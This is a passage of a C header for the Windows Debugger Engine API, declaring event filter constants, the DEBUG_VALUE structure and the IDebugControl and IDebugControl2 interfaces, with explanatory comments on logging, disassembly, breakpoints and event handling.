0x00000001\n// Output a message about the event but continue.\n#define DEBUG_FILTER_OUTPUT 0x00000002\n// Continue the event.\n#define DEBUG_FILTER_IGNORE 0x00000003\n// Used to remove general exception filters.\n#define DEBUG_FILTER_REMOVE 0x00000004\n\n// Event filter continuation options. These options are\n// only used when DEBUG_STATUS_GO is used to continue\n// execution. If a specific go status such as\n// DEBUG_STATUS_GO_NOT_HANDLED is used it controls\n// the continuation.\n#define DEBUG_FILTER_GO_HANDLED 0x00000000\n#define DEBUG_FILTER_GO_NOT_HANDLED 0x00000001\n\n// Specific event filter settings.\ntypedef struct _DEBUG_SPECIFIC_FILTER_PARAMETERS\n{\n ULONG ExecutionOption;\n ULONG ContinueOption;\n ULONG TextSize;\n ULONG CommandSize;\n // If ArgumentSize is zero this filter does\n // not have an argument. An empty argument for\n // a filter which does have an argument will take\n // one byte for the terminator.\n ULONG ArgumentSize;\n} DEBUG_SPECIFIC_FILTER_PARAMETERS, *PDEBUG_SPECIFIC_FILTER_PARAMETERS;\n\n// Exception event filter settings.\ntypedef struct _DEBUG_EXCEPTION_FILTER_PARAMETERS\n{\n ULONG ExecutionOption;\n ULONG ContinueOption;\n ULONG TextSize;\n ULONG CommandSize;\n ULONG SecondCommandSize;\n ULONG ExceptionCode;\n} DEBUG_EXCEPTION_FILTER_PARAMETERS, *PDEBUG_EXCEPTION_FILTER_PARAMETERS;\n\n// Wait flags.\n#define DEBUG_WAIT_DEFAULT 0x00000000\n\n// Last event information structures.\ntypedef struct _DEBUG_LAST_EVENT_INFO_BREAKPOINT\n{\n ULONG Id;\n} DEBUG_LAST_EVENT_INFO_BREAKPOINT, *PDEBUG_LAST_EVENT_INFO_BREAKPOINT;\n\ntypedef struct _DEBUG_LAST_EVENT_INFO_EXCEPTION\n{\n EXCEPTION_RECORD64 ExceptionRecord;\n ULONG FirstChance;\n} DEBUG_LAST_EVENT_INFO_EXCEPTION, *PDEBUG_LAST_EVENT_INFO_EXCEPTION;\n\ntypedef struct _DEBUG_LAST_EVENT_INFO_EXIT_THREAD\n{\n ULONG ExitCode;\n} DEBUG_LAST_EVENT_INFO_EXIT_THREAD, *PDEBUG_LAST_EVENT_INFO_EXIT_THREAD;\n\ntypedef struct _DEBUG_LAST_EVENT_INFO_EXIT_PROCESS\n{\n ULONG ExitCode;\n} DEBUG_LAST_EVENT_INFO_EXIT_PROCESS, *PDEBUG_LAST_EVENT_INFO_EXIT_PROCESS;\n\ntypedef struct _DEBUG_LAST_EVENT_INFO_LOAD_MODULE\n{\n ULONG64 Base;\n} DEBUG_LAST_EVENT_INFO_LOAD_MODULE, *PDEBUG_LAST_EVENT_INFO_LOAD_MODULE;\n\ntypedef struct _DEBUG_LAST_EVENT_INFO_UNLOAD_MODULE\n{\n ULONG64 Base;\n} DEBUG_LAST_EVENT_INFO_UNLOAD_MODULE, *PDEBUG_LAST_EVENT_INFO_UNLOAD_MODULE;\n\ntypedef struct _DEBUG_LAST_EVENT_INFO_SYSTEM_ERROR\n{\n ULONG Error;\n ULONG Level;\n} DEBUG_LAST_EVENT_INFO_SYSTEM_ERROR, *PDEBUG_LAST_EVENT_INFO_SYSTEM_ERROR;\n\n// DEBUG_VALUE types.\n#define DEBUG_VALUE_INVALID 0\n#define DEBUG_VALUE_INT8 1\n#define DEBUG_VALUE_INT16 2\n#define DEBUG_VALUE_INT32 3\n#define DEBUG_VALUE_INT64 4\n#define DEBUG_VALUE_FLOAT32 5\n#define DEBUG_VALUE_FLOAT64 6\n#define DEBUG_VALUE_FLOAT80 7\n#define DEBUG_VALUE_FLOAT82 8\n#define DEBUG_VALUE_FLOAT128 9\n#define DEBUG_VALUE_VECTOR64 10\n#define DEBUG_VALUE_VECTOR128 11\n// Count of type indices.\n#define DEBUG_VALUE_TYPES 12\n\n#if defined(_MSC_VER)\n#if _MSC_VER >= 800\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n#pragma warning(disable:4201) /* Nameless struct/union */\n#endif\n#endif\n\n// We want the DEBUG_VALUE structure to have 8-byte alignment\n// and be 32 bytes total. This is tricky because the compiler\n// wants to pad the union of values out to a even 8-byte multiple,\n// pushing the type out too far. We can't use 4-packing because\n// then the 8-byte alignment requirement is lost, so instead\n// we shrink the union to 24 bytes and have a reserved field\n// before the type field. The same amount of space is available\n// and everybody's happy, but the structure is somewhat unusual.\n\ntypedef struct _DEBUG_VALUE\n{\n union\n {\n UCHAR I8;\n USHORT I16;\n ULONG I32;\n struct\n {\n // Extra NAT indicator for IA64\n // integer registers. NAT will\n // always be false for other CPUs.\n ULONG64 I64;\n BOOL Nat;\n };\n float F32;\n double F64;\n UCHAR F80Bytes[10];\n UCHAR F82Bytes[11];\n UCHAR F128Bytes[16];\n // Vector interpretations. The actual number\n // of valid elements depends on the vector length.\n UCHAR VI8[16];\n USHORT VI16[8];\n ULONG VI32[4];\n ULONG64 VI64[2];\n float VF32[4];\n double VF64[2];\n struct\n {\n ULONG LowPart;\n ULONG HighPart;\n } I64Parts32;\n struct\n {\n ULONG64 LowPart;\n LONG64 HighPart;\n } F128Parts64;\n // Allows raw byte access to content. Array\n // can be indexed for as much data as Type\n // describes. This array also serves to pad\n // the structure out to 32 bytes and reserves\n // space for future members.\n UCHAR RawBytes[24];\n };\n ULONG TailOfRawBytes;\n ULONG Type;\n} DEBUG_VALUE, *PDEBUG_VALUE;\n\n#if defined(_MSC_VER)\n#if _MSC_VER >= 800\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#else\n#pragma warning(default:4201) /* Nameless struct/union */\n#endif\n#endif\n#endif\n\n#undef INTERFACE\n#define INTERFACE IDebugControl\nDECLARE_INTERFACE_(IDebugControl, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugControl.\n\n // Checks for a user interrupt, such a Ctrl-C\n // or stop button.\n // This method is reentrant.\n STDMETHOD(GetInterrupt)(\n THIS\n ) PURE;\n // Registers a user interrupt.\n // This method is reentrant.\n STDMETHOD(SetInterrupt)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // Interrupting a user-mode process requires\n // access to some system resources that the\n // process may hold itself, preventing the\n // interrupt from occurring. The engine\n // will time-out pending interrupt requests\n // and simulate an interrupt if necessary.\n // These methods control the interrupt timeout.\n STDMETHOD(GetInterruptTimeout)(\n THIS_\n __out PULONG Seconds\n ) PURE;\n STDMETHOD(SetInterruptTimeout)(\n THIS_\n __in ULONG Seconds\n ) PURE;\n\n STDMETHOD(GetLogFile)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FileSize,\n __out PBOOL Append\n ) PURE;\n // Opens a log file which collects all\n // output. Output from every client except\n // those that explicitly disable logging\n // goes into the log.\n // Opening a log file closes any log file\n // already open.\n STDMETHOD(OpenLogFile)(\n THIS_\n __in PCSTR File,\n __in BOOL Append\n ) PURE;\n STDMETHOD(CloseLogFile)(\n THIS\n ) PURE;\n // Controls what output is logged.\n STDMETHOD(GetLogMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetLogMask)(\n THIS_\n __in ULONG Mask\n ) PURE;\n\n // Input requests input from all clients.\n // The first input that is returned is used\n // to satisfy the call. Other returned\n // input is discarded.\n STDMETHOD(Input)(\n THIS_\n __out_ecount(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InputSize\n ) PURE;\n // This method is used by clients to return\n // input when it is available. It will\n // return S_OK if the input is used to\n // satisfy an Input call and S_FALSE if\n // the input is ignored.\n // This method is reentrant.\n STDMETHOD(ReturnInput)(\n THIS_\n __in PCSTR Buffer\n ) PURE;\n\n // Sends output through clients\n // output callbacks if the mask is allowed\n // by the current output control mask and\n // according to the output distribution\n // settings.\n STDMETHODV(Output)(\n THIS_\n __in ULONG Mask,\n __in PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(OutputVaList)(\n THIS_\n __in ULONG Mask,\n __in PCSTR Format,\n __in va_list Args\n ) PURE;\n // The following methods allow direct control\n // over the distribution of the given output\n // for situations where something other than\n // the default is desired. These methods require\n // extra work in the engine so they should\n // only be used when necessary.\n STDMETHODV(ControlledOutput)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Mask,\n __in PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(ControlledOutputVaList)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Mask,\n __in PCSTR Format,\n __in va_list Args\n ) PURE;\n\n // Displays the standard command-line prompt\n // followed by the given output. If Format\n // is NULL no additional output is produced.\n // Output is produced under the\n // DEBUG_OUTPUT_PROMPT mask.\n // This method only outputs the prompt; it\n // does not get input.\n STDMETHODV(OutputPrompt)(\n THIS_\n __in ULONG OutputControl,\n __in_opt PCSTR Format,\n ...\n ) PURE;\n STDMETHOD(OutputPromptVaList)(\n THIS_\n __in ULONG OutputControl,\n __in_opt PCSTR Format,\n __in va_list Args\n ) PURE;\n // Gets the text that would be displayed by OutputPrompt.\n STDMETHOD(GetPromptText)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TextSize\n ) PURE;\n // Outputs information about the current\n // debuggee state such as a register\n // summary, disassembly at the current PC,\n // closest symbol and others.\n // Uses the line prefix.\n STDMETHOD(OutputCurrentState)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags\n ) PURE;\n\n // Outputs the debugger and extension version\n // information. This method is reentrant.\n // Uses the line prefix.\n STDMETHOD(OutputVersionInformation)(\n THIS_\n __in ULONG OutputControl\n ) PURE;\n\n // In user-mode debugging sessions the\n // engine will set an event when\n // exceptions are continued. This can\n // be used to synchronize other processes\n // with the debuggers handling of events.\n // For example, this is used to support\n // the e argument to ntsd.\n STDMETHOD(GetNotifyEventHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(SetNotifyEventHandle)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n\n STDMETHOD(Assemble)(\n THIS_\n __in ULONG64 Offset,\n __in PCSTR Instr,\n __out PULONG64 EndOffset\n ) PURE;\n STDMETHOD(Disassemble)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG DisassemblySize,\n __out PULONG64 EndOffset\n ) PURE;\n // Returns the value of the effective address\n // computed for the last Disassemble, if there\n // was one.\n STDMETHOD(GetDisassembleEffectiveOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Uses the line prefix if necessary.\n STDMETHOD(OutputDisassembly)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out PULONG64 EndOffset\n ) PURE;\n // Produces multiple lines of disassembly output.\n // There will be PreviousLines of disassembly before\n // the given offset if a valid disassembly exists.\n // In all, there will be TotalLines of output produced.\n // The first and last line offsets are returned\n // specially and all lines offsets can be retrieved\n // through LineOffsets. LineOffsets will contain\n // offsets for each line where disassembly started.\n // When disassembly of a single instruction takes\n // multiple lines the initial offset will be followed\n // by DEBUG_INVALID_OFFSET.\n // Uses the line prefix.\n STDMETHOD(OutputDisassemblyLines)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG PreviousLines,\n __in ULONG TotalLines,\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_opt PULONG OffsetLine,\n __out_opt PULONG64 StartOffset,\n __out_opt PULONG64 EndOffset,\n __out_ecount_opt(TotalLines) PULONG64 LineOffsets\n ) PURE;\n // Returns the offset of the start of\n // the instruction thats the given\n // delta away from the instruction\n // at the initial offset.\n // This routine does not check for\n // validity of the instruction or\n // the memory containing it.\n STDMETHOD(GetNearInstruction)(\n THIS_\n __in ULONG64 Offset,\n __in LONG Delta,\n __out PULONG64 NearOffset\n ) PURE;\n\n // Offsets can be passed in as zero to use the current\n // thread state.\n STDMETHOD(GetStackTrace)(\n THIS_\n __in ULONG64 FrameOffset,\n __in ULONG64 StackOffset,\n __in ULONG64 InstructionOffset,\n __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames,\n __in ULONG FramesSize,\n __out_opt PULONG FramesFilled\n ) PURE;\n // Does a simple stack trace to determine\n // what the current return address is.\n STDMETHOD(GetReturnOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // If Frames is NULL OutputStackTrace will\n // use GetStackTrace to get FramesSize frames\n // and then output them. The current register\n // values for frame, stack and instruction offsets\n // are used.\n // Uses the line prefix.\n STDMETHOD(OutputStackTrace)(\n THIS_\n __in ULONG OutputControl,\n __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames,\n __in ULONG FramesSize,\n __in ULONG Flags\n ) PURE;\n\n // Returns information about the debuggee such\n // as user vs. kernel, dump vs. live, etc.\n STDMETHOD(GetDebuggeeType)(\n THIS_\n __out PULONG Class,\n __out PULONG Qualifier\n ) PURE;\n // Returns the type of physical processors in\n // the machine.\n // Returns one of the IMAGE_FILE_MACHINE values.\n STDMETHOD(GetActualProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n // Returns the type of processor used in the\n // current processor context.\n STDMETHOD(GetExecutingProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n // Query all the possible processor types that\n // may be encountered during this debug session.\n STDMETHOD(GetNumberPossibleExecutingProcessorTypes)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetPossibleExecutingProcessorTypes)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PULONG Types\n ) PURE;\n // Get the number of actual processors in\n // the machine.\n STDMETHOD(GetNumberProcessors)(\n THIS_\n __out PULONG Number\n ) PURE;\n // PlatformId is one of the VER_PLATFORM values.\n // Major and minor are as given in the NT\n // kernel debugger protocol.\n // ServicePackString and ServicePackNumber indicate the\n // system service pack level. ServicePackNumber is not\n // available in some sessions where the service pack level\n // is only expressed as a string. The service pack information\n // will be empty if the system does not have a service pack\n // applied.\n // The build string is string information identifying the\n // particular build of the system. The build string is\n // empty if the system has no particular identifying\n // information.\n STDMETHOD(GetSystemVersion)(\n THIS_\n __out PULONG PlatformId,\n __out PULONG Major,\n __out PULONG Minor,\n __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString,\n __in ULONG ServicePackStringSize,\n __out_opt PULONG ServicePackStringUsed,\n __out PULONG ServicePackNumber,\n __out_ecount_opt(BuildStringSize) PSTR BuildString,\n __in ULONG BuildStringSize,\n __out_opt PULONG BuildStringUsed\n ) PURE;\n // Returns the page size for the currently executing\n // processor context. The page size may vary between\n // processor types.\n STDMETHOD(GetPageSize)(\n THIS_\n __out PULONG Size\n ) PURE;\n // Returns S_OK if the current processor context uses\n // 64-bit addresses, otherwise S_FALSE.\n STDMETHOD(IsPointer64Bit)(\n THIS\n ) PURE;\n // Reads the bugcheck data area and returns the\n // current contents. This method only works\n // in kernel debugging sessions.\n STDMETHOD(ReadBugCheckData)(\n THIS_\n __out PULONG Code,\n __out PULONG64 Arg1,\n __out PULONG64 Arg2,\n __out PULONG64 Arg3,\n __out PULONG64 Arg4\n ) PURE;\n\n // Query all the processor types supported by\n // the engine. This is a complete list and is\n // not related to the machine running the engine\n // or the debuggee.\n STDMETHOD(GetNumberSupportedProcessorTypes)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetSupportedProcessorTypes)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PULONG Types\n ) PURE;\n // Returns a full, descriptive name and an\n // abbreviated name for a processor type.\n STDMETHOD(GetProcessorTypeNames)(\n THIS_\n __in ULONG Type,\n __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer,\n __in ULONG FullNameBufferSize,\n __out_opt PULONG FullNameSize,\n __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer,\n __in ULONG AbbrevNameBufferSize,\n __out_opt PULONG AbbrevNameSize\n ) PURE;\n\n // Gets and sets the type of processor to\n // use when doing things like setting\n // breakpoints, accessing registers,\n // getting stack traces and so on.\n STDMETHOD(GetEffectiveProcessorType)(\n THIS_\n __out PULONG Type\n ) PURE;\n STDMETHOD(SetEffectiveProcessorType)(\n THIS_\n __in ULONG Type\n ) PURE;\n\n // Returns information about whether and how\n // the debuggee is running. Status will\n // be GO if the debuggee is running and\n // BREAK if it isnt.\n // If no debuggee exists the status is\n // NO_DEBUGGEE.\n // This method is reentrant.\n STDMETHOD(GetExecutionStatus)(\n THIS_\n __out PULONG Status\n ) PURE;\n // Changes the execution status of the\n // engine from stopped to running.\n // Status must be one of the go or step\n // status values.\n STDMETHOD(SetExecutionStatus)(\n THIS_\n __in ULONG Status\n ) PURE;\n\n // Controls what code interpretation level the debugger\n // runs at. The debugger checks the code level when\n // deciding whether to step by a source line or\n // assembly instruction along with other related operations.\n STDMETHOD(GetCodeLevel)(\n THIS_\n __out PULONG Level\n ) PURE;\n STDMETHOD(SetCodeLevel)(\n THIS_\n __in ULONG Level\n ) PURE;\n\n // Gets and sets engine control flags.\n // These methods are reentrant.\n STDMETHOD(GetEngineOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetEngineOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // Gets and sets control values for\n // handling system error events.\n // If the system error level is less\n // than or equal to the given levels\n // the error may be displayed and\n // the default break for the event\n // may be set.\n STDMETHOD(GetSystemErrorControl)(\n THIS_\n __out PULONG OutputLevel,\n __out PULONG BreakLevel\n ) PURE;\n STDMETHOD(SetSystemErrorControl)(\n THIS_\n __in ULONG OutputLevel,\n __in ULONG BreakLevel\n ) PURE;\n\n // The command processor supports simple\n // string replacement macros in Evaluate and\n // Execute. There are currently ten macro\n // slots available. Slots 0-9 map to\n // the command invocations $u0-$u9.\n STDMETHOD(GetTextMacro)(\n THIS_\n __in ULONG Slot,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG MacroSize\n ) PURE;\n STDMETHOD(SetTextMacro)(\n THIS_\n __in ULONG Slot,\n __in PCSTR Macro\n ) PURE;\n\n // Controls the default number radix used\n // in expressions and commands.\n STDMETHOD(GetRadix)(\n THIS_\n __out PULONG Radix\n ) PURE;\n STDMETHOD(SetRadix)(\n THIS_\n __in ULONG Radix\n ) PURE;\n\n // Evaluates the given expression string and\n // returns the resulting value.\n // If DesiredType is DEBUG_VALUE_INVALID then\n // the natural type is used.\n // RemainderIndex, if provided, is set to the index\n // of the first character in the input string that was\n // not used when evaluating the expression.\n STDMETHOD(Evaluate)(\n THIS_\n __in PCSTR Expression,\n __in ULONG DesiredType,\n __out PDEBUG_VALUE Value,\n __out_opt PULONG RemainderIndex\n ) PURE;\n // Attempts to convert the input value to a value\n // of the requested type in the output value.\n // Conversions can fail if no conversion exists.\n // Successful conversions may be lossy.\n STDMETHOD(CoerceValue)(\n THIS_\n __in PDEBUG_VALUE In,\n __in ULONG OutType,\n __out PDEBUG_VALUE Out\n ) PURE;\n STDMETHOD(CoerceValues)(\n THIS_\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_VALUE In,\n __in_ecount(Count) PULONG OutTypes,\n __out_ecount(Count) PDEBUG_VALUE Out\n ) PURE;\n\n // Executes the given command string.\n // If the string has multiple commands\n // Execute will not return until all\n // of them have been executed. If this\n // requires waiting for the debuggee to\n // execute an internal wait will be done\n // so Execute can take an arbitrary amount\n // of time.\n STDMETHOD(Execute)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR Command,\n __in ULONG Flags\n ) PURE;\n // Executes the given command file by\n // reading a line at a time and processing\n // it with Execute.\n STDMETHOD(ExecuteCommandFile)(\n THIS_\n __in ULONG OutputControl,\n __in PCSTR CommandFile,\n __in ULONG Flags\n ) PURE;\n\n // Breakpoint interfaces are described\n // elsewhere in this section.\n STDMETHOD(GetNumberBreakpoints)(\n THIS_\n __out PULONG Number\n ) PURE;\n // It is possible for this retrieval function to\n // fail even with an index within the number of\n // existing breakpoints if the breakpoint is\n // a private breakpoint.\n STDMETHOD(GetBreakpointByIndex)(\n THIS_\n __in ULONG Index,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n STDMETHOD(GetBreakpointById)(\n THIS_\n __in ULONG Id,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n // If Ids is non-NULL the Count breakpoints\n // referred to in the Ids array are returned,\n // otherwise breakpoints from index Start to\n // Start + Count 1 are returned.\n STDMETHOD(GetBreakpointParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Ids,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_BREAKPOINT_PARAMETERS Params\n ) PURE;\n // Breakpoints are created empty and disabled.\n // When their parameters have been set they\n // should be enabled by setting the ENABLE flag.\n // If DesiredId is DEBUG_ANY_ID then the\n // engine picks an unused ID. If DesiredId\n // is any other number the engine attempts\n // to use the given ID for the breakpoint.\n // If another breakpoint exists with that ID\n // the call will fail.\n STDMETHOD(AddBreakpoint)(\n THIS_\n __in ULONG Type,\n __in ULONG DesiredId,\n __out PDEBUG_BREAKPOINT* Bp\n ) PURE;\n // Breakpoint interface is invalid after this call.\n STDMETHOD(RemoveBreakpoint)(\n THIS_\n __in PDEBUG_BREAKPOINT Bp\n ) PURE;\n\n // Control and use extension DLLs.\n STDMETHOD(AddExtension)(\n THIS_\n __in PCSTR Path,\n __in ULONG Flags,\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(RemoveExtension)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n STDMETHOD(GetExtensionByPath)(\n THIS_\n __in PCSTR Path,\n __out PULONG64 Handle\n ) PURE;\n // If Handle is zero the extension\n // chain is walked searching for the\n // function.\n STDMETHOD(CallExtension)(\n THIS_\n __in ULONG64 Handle,\n __in PCSTR Function,\n __in_opt PCSTR Arguments\n ) PURE;\n // GetExtensionFunction works like\n // GetProcAddress on extension DLLs\n // to allow raw function-call-level\n // interaction with extension DLLs.\n // Such functions do not need to\n // follow the standard extension prototype\n // if they are not going to be called\n // through the text extension interface.\n // _EFN_ is automatically prepended to\n // the name string given.\n // This function cannot be called remotely.\n STDMETHOD(GetExtensionFunction)(\n THIS_\n __in ULONG64 Handle,\n __in PCSTR FuncName,\n __out FARPROC* Function\n ) PURE;\n // These methods return alternate\n // extension interfaces in order to allow\n // interface-style extension DLLs to mix in\n // older extension calls.\n // Structure sizes must be initialized before\n // the call.\n // These methods cannot be called remotely.\n STDMETHOD(GetWindbgExtensionApis32)(\n THIS_\n __inout PWINDBG_EXTENSION_APIS32 Api\n ) PURE;\n STDMETHOD(GetWindbgExtensionApis64)(\n THIS_\n __inout PWINDBG_EXTENSION_APIS64 Api\n ) PURE;\n\n // The engine provides a simple mechanism\n // to filter common events. Arbitrarily complicated\n // filtering can be done by registering event callbacks\n // but simple event filtering only requires\n // setting the options of one of the predefined\n // event filters.\n // Simple event filters are either for specific\n // events and therefore have an enumerant or\n // they are for an exception and are based on\n // the exceptions code. Exception filters\n // are further divided into exceptions specially\n // handled by the engine, which is a fixed set,\n // and arbitrary exceptions.\n // All three groups of filters are indexed together\n // with the specific filters first, then the specific\n // exception filters and finally the arbitrary\n // exception filters.\n // The first specific exception is the default\n // exception. If an exception event occurs for\n // an exception without settings the default\n // exception settings are used.\n STDMETHOD(GetNumberEventFilters)(\n THIS_\n __out PULONG SpecificEvents,\n __out PULONG SpecificExceptions,\n __out PULONG ArbitraryExceptions\n ) PURE;\n // Some filters have descriptive text associated with them.\n STDMETHOD(GetEventFilterText)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG TextSize\n ) PURE;\n // All filters support executing a command when the\n // event occurs.\n STDMETHOD(GetEventFilterCommand)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetEventFilterCommand)(\n THIS_\n __in ULONG Index,\n __in PCSTR Command\n ) PURE;\n STDMETHOD(GetSpecificFilterParameters)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params\n ) PURE;\n STDMETHOD(SetSpecificFilterParameters)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_SPECIFIC_FILTER_PARAMETERS Params\n ) PURE;\n // Some specific filters have arguments to further\n // qualify their operation.\n STDMETHOD(GetSpecificFilterArgument)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ArgumentSize\n ) PURE;\n STDMETHOD(SetSpecificFilterArgument)(\n THIS_\n __in ULONG Index,\n __in PCSTR Argument\n ) PURE;\n // If Codes is non-NULL Start is ignored.\n STDMETHOD(GetExceptionFilterParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount_opt(Count) PULONG Codes,\n __in ULONG Start,\n __out_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params\n ) PURE;\n // The codes in the parameter data control the application\n // of the parameter data. If a code is not already in\n // the set of filters it is added. If the ExecutionOption\n // for a code is REMOVE then the filter is removed.\n // Specific exception filters cannot be removed.\n STDMETHOD(SetExceptionFilterParameters)(\n THIS_\n __in ULONG Count,\n __in_ecount(Count) PDEBUG_EXCEPTION_FILTER_PARAMETERS Params\n ) PURE;\n // Exception filters support an additional command for\n // second-chance events.\n STDMETHOD(GetExceptionFilterSecondCommand)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG CommandSize\n ) PURE;\n STDMETHOD(SetExceptionFilterSecondCommand)(\n THIS_\n __in ULONG Index,\n __in PCSTR Command\n ) PURE;\n\n // Yields processing to the engine until\n // an event occurs. This method may\n // only be called by the thread that started\n // the debug session.\n // When an event occurs the engine carries\n // out all event processing such as calling\n // callbacks.\n // If the callbacks indicate that execution should\n // break the wait will return, otherwise it\n // goes back to waiting for a new event.\n // If the timeout expires, S_FALSE is returned.\n // The timeout is not currently supported for\n // kernel debugging.\n STDMETHOD(WaitForEvent)(\n THIS_\n __in ULONG Flags,\n __in ULONG Timeout\n ) PURE;\n\n // Retrieves information about the last event that occurred.\n // EventType is one of the event callback mask bits.\n // ExtraInformation contains additional event-specific\n // information. Not all events have additional information.\n STDMETHOD(GetLastEventInformation)(\n THIS_\n __out PULONG Type,\n __out PULONG ProcessId,\n __out PULONG ThreadId,\n __out_bcount_opt(ExtraInformationSize) PVOID ExtraInformation,\n __in ULONG ExtraInformationSize,\n __out_opt PULONG ExtraInformationUsed,\n __out_ecount_opt(DescriptionSize) PSTR Description,\n __in ULONG DescriptionSize,\n __out_opt PULONG DescriptionUsed\n ) PURE;\n};\n\n// OutputTextReplacements flags.\n#define DEBUG_OUT_TEXT_REPL_DEFAULT 0x00000000\n\n#undef INTERFACE\n#define INTERFACE IDebugControl2\nDECLARE_INTERFACE_(IDebugControl2, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugControl.\n\n // Checks for a user interrupt, such a Ctrl-C\n // or stop button.\n // This method is reentrant.\n STDMETHOD(GetInterrupt)(\n THIS\n ) PURE;\n // Registers a user interrupt.\n // This method is reentrant.\n STDMETHOD(SetInterrupt)(\n THIS_\n __in ULONG Flags\n ) PURE;\n // Interrupting a user-mode process requires\n // access to some system resources that the\n // process may hold itself, preventing the\n // interrupt from occurring. The engine\n // will time-out pending interrupt requests\n // and simulate an interrupt if necessary.\n // These methods control the interrupt timeout.\n STDMETHOD(GetInterruptTimeout)(\n THIS_\n __out PULONG Seconds\n ) PURE;\n STDMETHOD(SetInterruptTimeout)(\n THIS_\n __in ULONG Seconds\n ) PURE;\n\n STDMETHOD(GetLogFile)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FileSize,\n __out PBOOL Append\n ) PURE;\n // Opens a log file which collects all\n // output. Output from every client except\n // those that explicitly disable logging\n // goes into the log.\n // Opening a log file closes any log file\n // already open.\n STDMETHOD(OpenLogFile)(\n THIS_\n __in PCSTR File,\n __in BOOL Append\n ) PURE;\n STDMETHOD(CloseLogFile)(\n THIS\n ) PURE;\n // Controls what output is logged.\n STDMETHOD(GetLogMask)(\n THIS_\n __out PULONG Mask\n ) PURE;\n STDMETHOD(SetLogMask)(\n THIS_\n __in ULONG Mask\n ) PURE;\n\n // Input requests input from all clients.\n // The first input that is returned is used\n // to satisfy the call. Other returned\n // input is discarded.\n STDMETHOD(Input)(\n THIS_\n __out_ecount(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG InputSize\n ) PURE;\n // This method is used by clients to return\n // input when it is available. It will\n // return S_OK if the input is used to\n // satisfy an Input call and S_FALSE if\n // the input is ignored.\n // This method is reentrant.\n STDMETHOD(ReturnInput)(\n THIS_\n __in PCSTR Buffer\n ) PURE;\n\n // Sends output through 